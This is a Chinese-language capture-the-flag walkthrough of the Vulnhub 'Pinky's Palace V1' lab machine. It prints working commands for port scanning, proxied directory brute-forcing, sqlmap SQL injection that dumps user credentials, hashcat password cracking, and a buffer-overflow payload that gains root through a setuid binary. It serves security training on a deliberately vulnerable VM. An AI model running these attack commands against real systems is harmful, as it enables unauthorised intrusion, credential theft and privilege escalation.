zoukankan      html  css  js  c++  java
  • Vulnhub-靶机-PINKY'S PALACE: V1

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现

    地址:https://www.vulnhub.com/entry/pinkys-palace-v1,225/

    sudo nmap -sC -sV -n -p- -A 192.168.202.4 -o pinky1.nmap

    nmap扫描结果

    开放了3个端口,有个web应用,开放了8080端口,访问下

    发现访问的是403,出现这种情况,像是被Nginx设置了限制才会显示403,再回看扫描结果,发现nmap识别出来另一个端口试proxy,那么试试代理看看

    使用 curl --proxy http://192.168.202.4:31337 127.0.0.1:8080 走代理看看

    浏览器配置代理访问

    然后使用代理访问本地回环口即可

    使用了浏览器能正常访问即可,方便后面的测试,这里需要对目标进行目标爆破,准备使用工具gobuster,并配置其命令行走代理爆破目录

    gobuster dir -p http://192.168.202.4:31337 -u http://127.0.0.1:8080 -w /usr/share/wordlist
    s/dirbuster/directory-list-2.3-medium.txt

    得到一个URI地址,访问看看

    输入默认admin账号和密码,返回账号和密码错误

    此时看到此类登录窗口会使用sqlmap试试,跑跑是否存在sql注入漏洞,跑之前先在此目录上再爆破下目录看看

     发现两个URI地址,login.php在上面登录错误的时候已经看到了,另外一个日志php文件访问看看

    发现记录了我的访问日志,遇到这种能够记录客户端访问时候的请求头中的信息,凭借经验猜测可能是存在关于user-agent的注入,那么使用sqlmap跑一下看看

    发现是存在SQL注入的,那么经过测试,最终跑出目标靶机的数据如下:

    sqlmap -u http://127.0.0.1:8080/littlesecrets-main/login.php --level=3 --proxy http://192.168.202.4:31337 --data="user=admin&pass=admin" -D pinky_sec_db -T users -C uid,user,pass --dump-all --batch

    得到了上面两个hash,跑出来了uid为2的密码,用户是pinkymanage ,具体下面是跑出来的过程

    hashcat -a 0 -m 0 d60dffed7cc0d87e1f4a11aa06ca73af /usr/share/wordlists/rockyou.txt --force

    这里也是可以在 https://www.somd5.com/ 上破解  得到账号和密码之后使用ssh连接试试

    成功登陆到目标靶机,顺手执行下sudo -l 发现并没有sudo权限,那么就按照常规套路看看家目录和其他家目录有哪些用户以及网站根目录有什么可以利用的东西,最终在网站根目录发现一个私钥,而且可以确认存在另一个用户pinky,那么就如下结果

    看下隐藏的文件

    看着上面内容像是base64编码了,那么解码下

    将其保存成文件然后使用此密钥连接目标靶机看看

    上述是使用密钥成功登陆到目标靶机,在该用户的家目录下存在一个现实红色的文件,一般根据经验此类文件肯定要么是加了全部权限,要么就是加了setuid带s的特权,使用ls -la查看果不其然,理论上这里是可以sudo进行提权的,因为此文件有如下特征

    1.带setuid权限

    2.文件隶属于root,可以使用root权限执行

    3.使用strings查看此文件发现含有/bin/sh等关键字

    但是根据实际情况并不知道用户pinky的密码,所以不能使用sudo进行提权,查看了网上资料,这里是需要通过缓冲器溢出进行提权的,这方面目前不熟悉,我就找个网上已经给好payload提权,具体细节分析,请参考:

    https://hackso.me/pinkys-palace-1-walkthrough/

    https://d7x.promiselabs.net/2018/03/22/ctf-pinkys-palace-v1-vulnhub-ctf-walkthrough/

    https://oliverhough.cloud/writeups/pinkys-palace-v1/

    最终提权的payload如下:

    ./adminhelper $(python -c "print 'A'*72+'xd0x47x55x55x55x55'")

  • 相关阅读:
    Aurora 数据库支持多达五个跨区域只读副本
    Amazon RDS 的 Oracle 只读副本
    Amazon EC2 密钥对
    DynamoDB 读取请求单位和写入请求单位
    使用 EBS 优化的实例或 10 Gb 网络实例
    启动 LAMP 堆栈 Web 应用程序
    AWS 中的错误重试和指数退避 Error Retries and Exponential Backoff in AWS
    使用 Amazon S3 阻止公有访问
    路由表 Router Table
    使用MySQLAdmin工具查看QPS
  • 原文地址:https://www.cnblogs.com/autopwn/p/13826908.html
Copyright © 2011-2022 走看看